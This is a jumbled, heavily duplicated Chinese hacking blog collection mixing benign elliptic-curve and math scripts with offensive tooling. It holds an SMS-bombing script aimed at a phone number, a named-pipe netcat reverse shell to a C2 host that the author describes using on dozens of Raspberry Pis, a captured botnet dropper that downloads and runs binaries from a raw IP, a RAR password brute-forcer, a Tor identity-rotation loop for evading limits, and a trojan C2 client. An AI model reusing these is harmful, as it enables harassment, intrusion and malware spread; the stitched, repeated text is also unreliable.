raw[.]githubusercontent[.]com/kekyo/OuternetExplorer/refs/heads/main/oexplore.c
把int start()改成int main(void)
运行oexplore.exe即可在IE中打开https://www[.]bing[.]com
可以作为冰山插件了
把int start()改成int main(void)
x86_64-w64-mingw32-gcc oexplore.c -o oexplore.exe -lole32 -loleaut32 -mwindows -luuid
运行oexplore.exe即可在IE中打开https://www[.]bing[.]com
可以作为冰山插件了
# 短信轰炸机(金数据)
import requests
url='https://jinshuju.com/graphql/f/GWSnA4'
json = [
{
'operationName': 'CreateFieldVerification',
'variables': {
'input': {
'fieldApiCode': 'field_1',
'formId': 'GWSnA4',
'mobile': '15829381956',
},
},
'extensions': {
'persistedQuery': {
'sha256Hash': '77e2c905d36069c91d2ea55e915a1916204393b04a632087d59001301e6f7f5b'
},
},
}
]
# mobile可以在 t.me/qingbaoju_qun 里找
# 自行换成你要轰炸的电话号码
requests.post(url=url, json=json)
伟大导师program-think曾在Netcat-Tricks中提到
"""
据说是考虑到-e选项太过危险,nc的OpenBSD变种在多年前已经移除了该选项,但其实捏
还是可以用间接的方式达到同样的效果,至于如何做,俺就不透露啦.
"""
我可就要好好透露啦!
第一步mkfifo /tmp/p
建立一个命名管道
(假如你的C2是8.8.8.8,那么就ssh登录它并且nc -lvp 53)
第一个匿名管道记作匿名管道一号,第二个匿名管道记作匿名管道二号
进程A(cat /tmp/p)
stdin 无
stdout 匿名管道一号的写端
stderr 无
进程B(/bin/sh/ -i 2>&1)
stdin 匿名管道一号的读端
stdout 匿名管道二号的写端
stderr 重定向到stdout的"地址"(这里的&并非C语言的&)
进程C(ncat 8.8.8.8 53 > /tmp/p)
stdin 匿名管道二号的读端(/bin/sh的stdout和stderr)
stdout 重定向到命名管道/tmp/p
stderr 无
假如在8.8.8.8上标准输入"ls\n"
/bin/sh会用fork创建子进程,然后子进程用GI_execve执行/usr/bin/ls,也即GI_execve("/usr/bin/ls",['ls'],?)
其中这个问号是一个数组,可以用printenv或env查看
验证方法
gdb /bin/sh
如果像我一样没有调试符号,那么就用寄存器而非argc,argv一类.
(gdb) break execve
(gdb) set-follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run -i
# ls
info registers
记下rdi的地址(无论0x0(十六进制)列下还是0(十进制)列下)
x/s 0x555555574688
输出 /usr/bin/ls
记下rsi的地址0x555555574510
x/s ((char**)0x555555574510)[0]
这个索引是0的即['ls']
从2开始即是那个问号了.
同样,ncat也是用GI_libc_read来工作的.
背景
xxxx给了我100多个树莓派
全国各地都有,有45台在线,命令行不允许交互(还好有命名管道),给了我网站控制台,armv7l
在November 10,它没了,可能是Sec-WebSocket-Key重复使用触发风控而非xxxx所说的"资源占用太多影响正常使用,然后查日志发现了"
回忆录
有几个x86的树莓派是(venv)提示符,echo $0也是/bin/sh
我参考了ptyshell仓库中的pty.c
和Call xdg-open in C 这两个文件
设计了无脑秒连的应用程序.
当时我还把GM620开Telnet了.
这个网站控制台是乙方的,一个树莓派一个公司(甲方).
后渗透
xxxx是emptiness-a-new-evolving-botnet中的主角,也是我的朋友.
x.com/360Netlab 来晚了 这件事发生的时间你猜猜看
"""
据说是考虑到-e选项太过危险,nc的OpenBSD变种在多年前已经移除了该选项,但其实捏
还是可以用间接的方式达到同样的效果,至于如何做,俺就不透露啦.
"""
我可就要好好透露啦!
第一步mkfifo /tmp/p
建立一个命名管道
cat /tmp/p | /bin/sh/ -i 2>&1 | ncat 8.8.8.8 53 > /tmp/p
(假如你的C2是8.8.8.8,那么就ssh登录它并且nc -lvp 53)
第一个匿名管道记作匿名管道一号,第二个匿名管道记作匿名管道二号
进程A(cat /tmp/p)
stdin 无
stdout 匿名管道一号的写端
stderr 无
进程B(/bin/sh/ -i 2>&1)
stdin 匿名管道一号的读端
stdout 匿名管道二号的写端
stderr 重定向到stdout的"地址"(这里的&并非C语言的&)
进程C(ncat 8.8.8.8 53 > /tmp/p)
stdin 匿名管道二号的读端(/bin/sh的stdout和stderr)
stdout 重定向到命名管道/tmp/p
stderr 无
假如在8.8.8.8上标准输入"ls\n"
/bin/sh会用fork创建子进程,然后子进程用GI_execve执行/usr/bin/ls,也即GI_execve("/usr/bin/ls",['ls'],?)
其中这个问号是一个数组,可以用printenv或env查看
验证方法
gdb /bin/sh
如果像我一样没有调试符号,那么就用寄存器而非argc,argv一类.
(gdb) break execve
(gdb) set-follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run -i
# ls
info registers
记下rdi的地址(无论0x0(十六进制)列下还是0(十进制)列下)
x/s 0x555555574688
输出 /usr/bin/ls
记下rsi的地址0x555555574510
x/s ((char**)0x555555574510)[0]
这个索引是0的即['ls']
从2开始即是那个问号了.
同样,ncat也是用GI_libc_read来工作的.
背景
xxxx给了我100多个树莓派
全国各地都有,有45台在线,命令行不允许交互(还好有命名管道),给了我网站控制台,armv7l
在November 10,它没了,可能是Sec-WebSocket-Key重复使用触发风控而非xxxx所说的"资源占用太多影响正常使用,然后查日志发现了"
回忆录
有几个x86的树莓派是(venv)提示符,echo $0也是/bin/sh
我参考了ptyshell仓库中的pty.c
和Call xdg-open in C 这两个文件
设计了无脑秒连的应用程序.
当时我还把GM620开Telnet了.
这个网站控制台是乙方的,一个树莓派一个公司(甲方).
后渗透
print(import('bs4').BeautifulSoup(import('requests').get('http://192.168.3.1').text,'html.parser').title.string)xxxx是emptiness-a-new-evolving-botnet中的主角,也是我的朋友.
x.com/360Netlab 来晚了 这件事发生的时间你猜猜看
dvr\.lilin\.sh
I capture a malware sample frost.armv7
As for now
strace -f qemu-arm ./frost.armv7
Key Code
I capture a malware sample frost.armv7
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://87.121.84.101/frost.armv7; chmod 777 frost.armv7; ./frost.armv7 dvr.lilin; rm frost.armv7
wget http://87.121.84.101/frost.armv6; chmod 777 frost.armv6; ./frost.armv6 dvr.lilin; rm frost.armv6
wget http://87.121.84.101/frost.armv5; chmod 777 frost.armv5; ./frost.armv5 dvr.lilin; rm frost.armv5
wget http://87.121.84.101/frost.mips; chmod 777 frost.mips; ./frost.mips dvr.lilin; rm frost.mips
wget http://87.121.84.101/frost.mipsel; chmod 777 frost.mipsel; ./frost.mipsel dvr.lilin; rm frost.mipsel
wget http://87.121.84.101/frost.aarch64; chmod 777 frost.aarch64; ./frost.aarch64 dvr.lilin; rm frost.aarch64
wget http://87.121.84.101/frost.x86; chmod 777 frost.x86; ./frost.x86 dvr.lilin; rm frost.x86
wget http://87.121.84.101/frost.x86_64; chmod 777 frost.x86_64; ./frost.x86_64 dvr.lilin; rm frost.x86_64
As for now
strace -f qemu-arm ./frost.armv7
Key Code
write(1, "pwned :3", 8)
connect(4, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("144.172.103.124")}, 16)
unlink("./frost.armv7") // the reason I stop
Github仓库Cierra-Runis/Elliptic-Curves-Number-Theory-and-Cryptography
workflow有PDF可以下载.简体中文
以上是口算ECDHKE的渊源了,这个作者的followers也就比我多亿点点.
本来维基百科的编辑者们可以用位运算的 ::-1这个slice还是我添加的.
我还参考了secg[.]org等,他们都作出了贡献.
这里有不少彩蛋,我不会指出的,我还在抱怨我频道的subscriber什么时候才能超过一个呢.
workflow有PDF可以下载.简体中文
以上是口算ECDHKE的渊源了,这个作者的followers也就比我多亿点点.
from sympy import mod_inverse
# 模逆运算很简单
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
x = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
y = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
U221E = (0,0) 其实U+221E是无穷原点的Unicode
def point_add(P1 , P2):
if P1 == U221E:
return P2
if P2 == U221E:
return P1
x1 , y1 = P1
x2 , y2 = P2
if x1 != x2:
m = (y2 - y1) * mod_inverse(x2 - x1,p) % p
x3 = (m ** 2 - x1 - x2) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3,y3)
if x1 == x2 and y1 != y2:
return U221E
# 这是点的加法
def point_double(P1, P2):
x1 , y1 = P1
x2 , y2 = P2
if P1 == P2 and y1 != 0:
m = (3 * x1 ** 2 + a) * mod_inverse(2 * y1,p) % p
x3 = (m ** 2 - 2 * x1) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3,y3)
if P1 == P2 and y1 == 0:
return U221E
# 略过了
def double_and_add(s,P):
bits = format(s,'b')[::-1]
res = U221E
temp = P
for bit in bits:
if bit == '1':
res = point_add(res , temp)
temp = point_double(temp , temp)
return res
本来维基百科的编辑者们可以用位运算的 ::-1这个slice还是我添加的.
我还参考了secg[.]org等,他们都作出了贡献.
这里有不少彩蛋,我不会指出的,我还在抱怨我频道的subscriber什么时候才能超过一个呢.
无产阶级的伟大导师是马克思毛泽东列宁
那么我的导师又有谁呢?
第一个伟大导师:偶尔有点小迷糊
他的作品让我记忆犹新
第二个伟大导师
尼卡球球(a.k.a Hui3c)他的同伴是Xiaopan233
虽然CSDN病危了 但BUG多了难免会出现不少代码
所以site:blog[.]csdn[.]net还是加上为妙
前几个帖子的伟大导师已经有一个踩缝纫机去了.这里不再赘述.
最后一个被人误解为跳梁小丑的群体
红客
Coolfire(如果你听到没有如雷贯耳 我建议去web[.]archive[.]org逛逛 429的话去买家宽)曾说过
"""
多年来 网路(tw话)上出现许多山寨版的红客联盟 造成娱乐化的现象让人惋惜
"""
那么我的导师又有谁呢?
第一个伟大导师:偶尔有点小迷糊
他的作品让我记忆犹新
import os
import datetime
from unrar import rarfile
import sys
def crack(encryptfile):
bFound=False
fp=rarfile.RarFile(winfile)
start=0
stop=9999
for i in range(start,stop):
pwd=str(i).zfill(4)
try:
fp.extractall(path=".",pwd=pwd)
print('\npassword'+pwd)
bFound=True
fp.close
except Exception as e:
print("\rcomplete","{:.0%}".format((i-start)/(stop-start)),end="")
if bFound:
break
if __name__=='__main__':
starttime=datetime.datetime.now()
crack(sys.argv[1])
第二个伟大导师
尼卡球球(a.k.a Hui3c)他的同伴是Xiaopan233
虽然CSDN病危了 但BUG多了难免会出现不少代码
所以site:blog[.]csdn[.]net还是加上为妙
前几个帖子的伟大导师已经有一个踩缝纫机去了.这里不再赘述.
最后一个被人误解为跳梁小丑的群体
红客
Coolfire(如果你听到没有如雷贯耳 我建议去web[.]archive[.]org逛逛 429的话去买家宽)曾说过
"""
多年来 网路(tw话)上出现许多山寨版的红客联盟 造成娱乐化的现象让人惋惜
"""
我就在霹雳霹雳发布了一个视频
运行了如下程序
被锁定了(就这么个垃圾程序)
告别霹雳霹雳,从此Youtube
运行了如下程序
import requests
from stem import Signal
from stem.control import Controller
url="https://check[.]torproject[.]org"
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
proxies = {'https':'socks5h://127.0.0.1:9150'}
while True:
try:
c=Controller.from_port()
c.authenticate()
c.signal(Signal.NEWNYM)
r = requests.get(url=url, proxies=proxies,verify=False).text
print(BeautifulSoup(r,'lxml').strong.string)
except KeyboardInterrupt:
print('Control-C')
break
被锁定了(就这么个垃圾程序)
告别霹雳霹雳,从此Youtube
bytecat
bytecategory/Iceberg_Trojan_CLI
from Crypto.Cipher import DES
import struct
import zlib
import binascii
import socket
import sys
def reverse_bytes(b):
assert type(b) == bytes
ba = bytearray(b)
for i in range(0, len(b)):
ba[i] = int(format(b[i], '0>8b')[::-1], 2)
return bytes(ba)
def get_new_key(key):
ba = bytearray(8)
for i, b in enumerate(key):
ba[i % 8] ^= b
return bytes(ba)
def padding(d):
ba = bytearray(d)
while len(ba) % 8 != 0:
ba.append(0)
return bytes(ba)
def append_len(d):
assert type(d) == bytes
length = struct.pack('<L', len(d))
return bytes(length + d)
def remove_len(d):
assert type(d) == bytes
return d[4:]
def e_des_encrypt(plain, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
t = des.decrypt(raw)
return remove_len(t)
plain = "MicrosoftWebゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0".encode('gbk')
key = b"Microsoft"
ciph = e_des_encrypt(plain, key)
data = binascii.unhexlify('0d0f3e0308010000')+zlib.compress(ciph)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(data)
while True:
recevied=s.recv(4096)
zlib_start = recevied.find(b'\x78\x9c')
if zlib_start!=-1:
zlib_data = recevied[zlib_start:]
decompressed = zlib.decompress(zlib_data)
plaintext_bytes = e_des_decrypt(decompressed, b"Microsoft")
plaintext = plaintext_bytes.decode('gbk')
print(plaintext)
else:
print(recevied)
$a=(Get-NetAdapter -Physical | Where-Object { $_.Status -eq 'Up' })[0]
Set-NetAdapter $a -MacAddress "BC2411B9B662" -Confirm:$falseIt is the registration script for Iceberg.
The process of solving a math test paper.
import sympy
import time
p=time.time()
print(-1+2)
a=24970000000
b=True
n=0
while b:
a/=10
n+=1
if a<10:
b=False
print('{}*10^{}'.format(a,n))
a=sympy.symbols('a')
b={'A':a**2+a**3==a**5,'B':a**2*a**3==a**6,'C':(3*a)**2==6*a**2,'D':a**5/a**3==a**2}
for k,v in b.items():
if v:
print(k)
from sympy import solve
x,k=sympy.symbols('x k')
r=solve(x**2-2*x+k-1,x,dict=True)
r=solve(r[0][x]-r[1][x],k,dict=True)
a=r[0][k]
print('k={}'.format(a))
print(60/(1+2))
from sympy import Symbol,ask,Q,Rational,factor,Abs
from sympy.assumptions import assuming
x1=Symbol('x1',negative=True)
d,x3=sympy.symbols('d x3',positive=True)
x2=x1+d
y=lambda x:-5/x
JJ=lambda t1,s1:not t1.__xor__(bool(s))
l=lambda k1,k2:sympy.together(y(k1)-y(k2)).as_numer_denom()
a=l(x1,x2)
s=a[0]>0
with assuming(Q.lt(d,-x1)):
t=ask(Q.negative(a[1]))
if JJ(t,s):
print('y2>y1')
b=l(x1,x3)
s=b[0]>0
t=b[0]>0
if JJ(t,s):
print('y1>y3')
print('...')
import random
b=[]
c={(120,140):5,(140,160):10,(160,180):15,(180,220):10}
for k,v in c.items():
for _ in range(v):
b.append(random.randrange(k[0],k[1]))
n=len(b)
print(sum(b)/n)
from collections import Counter
print(Counter(b).most_common(1)[0][0])
h=int(n/2-1)
k=int(n/2)
print((b[h]+b[k])/2)
import numpy
print(numpy.var(b))
print(factor(x**2-3*x))
print(2/5)
print(1+1/2)
print((90-20)/2)
print((Abs(-2))-sympy.sqrt(16)+(1/3)**(-1))
y=sympy.symbols('y')
b=sympy.solve([3*x-2*y-9,x-y-4],[x,y])
print(f"x={b[x]},"+f"y={b[y]}")
print(6*sympy.tan(sympy.pi/6)+6*sympy.tan(sympy.pi/3))
print(time.time()-p)
gfw-looking-glass.sh
https://x.com/gfwrev/status/25220534979
while true; do printf "\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\300" | nc -uq1 8.8.8.8 53 | hd -s20; done
https://x.com/gfwrev/status/25220534979
ProjectX入群题解析(2 months ago)
1 将Let's encrypt的YE1证书的p-384公钥和使用"114514"在xcalc.pages.dev计算结果的作为hex解码后的前48字节作为私钥,进行椭圆曲线迪菲-赫尔曼交换,获得的共享秘密前3个字节是.2 将世界上最后一张ip6.arpa证书的p-256公钥和使用"114514" sha512结果的前32字节作为私钥,进行椭圆曲线迪菲-赫尔曼密钥交换,获得的共享秘密前3个字节是.(错题)关于第二题,我给Yuhan6665发送了一个消息,但是问了Spam Info bot,它说"I am afraid some Telegram users found your message annoying and forwarded them to our team."后来作罢.(这个故事可以滑到下面去看.)消息如下"""CA/Browser Forum在2025年11月10日投票的Ballot SC-086v3该提案不允许了给ip6.arpa及其子域名颁发公共信任的TLS证书所以世界上最后一张ip6.arpa子域名的PEM cert的p-256公钥(在https://crt.sh 中ID是21503216809)是一个未压缩的椭圆曲线公钥.(如果后文提到,则是ECC公钥)它的后三个字节是9a6a4d.如果大佬(Yuhan6665)认可"以上叙述",那么一道入群题需要更改."""3 在Xray中,使用vision且设置TLS指纹为HellowChrome_120_PQ时,对其JA4指纹sha384后,后六位是.(错题)4 在Xray中,使用WSS且设置TLS指纹为safari时,对其JA4指纹md5后,后六位是.5 在Xray中,设置TLS指纹为safari时,对其JA4指纹sha384后,后六位是.6 Curve25519中,有限域中的非0元素个数的48次方根是多少.7 xray24.10.32以hex打开后第114514字节往后3字节.限于时间,今天(2 months ago)就分享两道题目的解法,标注错题的为什么是错题明天再说.柿子挑软的捏,先看最后一题.7 访问https://github.com/XTLS/Xray-core ,单击Release,接下来访问github.com/XTLS/Xray-core/releases/tag/v24.10.31下载Xray-linux-64.zip并解压缩它.xxd -l -s 114513 -l 3 xray结果是e88a14a=open('/root/Downloads/xray','rb')a.seek(114513)114513a.read(3).hex()结果也是e88a14a.close()最后别忘了关闭.1 访问https://letsencrypt.org/certificates/ 并单击Certificate details后的pem,另存为int-ye1.pem.用openssl查看证书(假设它是公钥证书)openssl x509 -in ./int-ye1.pem -text -noout 这和letsencrypt.org/certs/gen-y/int-ye3.txt里的文本是一样的.可以知道它的签名算法是ECDSA(椭圆曲线数字签名算法),它于1999年被接受为ANSI X9.62,ANSI X9.62定义了prime256v1,而SEC2 v2定义了secp256r1,换句话说,在ANSI X9.62中曲线secp256r1被命名为了prime256v1.from cryptography.hazmat.primitives.asymmetric import ecfrom cryptography.hazmat.primitives import serializationfrom cryptography import x509y = open("./int-ye1.pem",'rb')l = y.read()y.close()c = x509.load_pem_x509_certificate(l) p = c.public_key()u = p.public_bytes(encoding=serialization.Encoding.X962,format=serialization.PublicFormat.UncompressedPoint)将u.hex与pub:后字符串(同样来自于int-ye3.txt)去掉冒号比较,发现是一样的,注意这个序列是以04开头的.众所周知,其实使用"114514"在xcalc.pages.dev计算结果就是加盐Sha512,盐值是"salt114514".结果是a84a0c3e9c4e97258534dfb703b067e4b457bb7050ca1fe7ee031e8d4a229fdcf74850ffeaf7dfcd9672be1430047bbdbc0dda246f9b8baae7a5031456e84763有128个(偶数个)十六进制数字用binascii模块的unhexlify将它作为hex解码.然后取开头到48号位(不含)的字符,这个数组所表示的整数(int.from_bytes,第二个参数是'big',字节顺序是大端序)就是a84a0c开头的哈希前面加个0x的结果,这个结果记作LQ = ec.derive_private_key(L, ec.SECP384R1())Q.exchange(ec.ECDH(), p)这就是答案了,3ccf00bc927f12cc9e0a98ff21add7fc9b2f44637d8799729fdabb0e593d6742b75cf4bd88d919fbd0d9d2ba4b2099a3前三个字节是3ccf00,撒花完结.一年前的B站申诉
(好好看看置顶视频 它被限流了
只因我在标题的&#34;&#34;里写入 (最后一个知乎的量化调酒师也关注了两年半))
它的视频中
把下确界当成了最小值,
把开覆盖当成了包含,(居然有两个集合相互包含但不相等),
并忽略了指标集,'你别管它有多少个'大量如此的模糊解释.
更多请审核的工作人员跳转6:37观看,如果学过<实变函数论>的话,不然这个错误的视频就会误导很多人了.
(好好看看置顶视频 它被限流了
只因我在标题的&#34;&#34;里写入 (最后一个知乎的量化调酒师也关注了两年半))
它的视频中
把下确界当成了最小值,
把开覆盖当成了包含,(居然有两个集合相互包含但不相等),
并忽略了指标集,'你别管它有多少个'大量如此的模糊解释.
更多请审核的工作人员跳转6:37观看,如果学过<实变函数论>的话,不然这个错误的视频就会误导很多人了.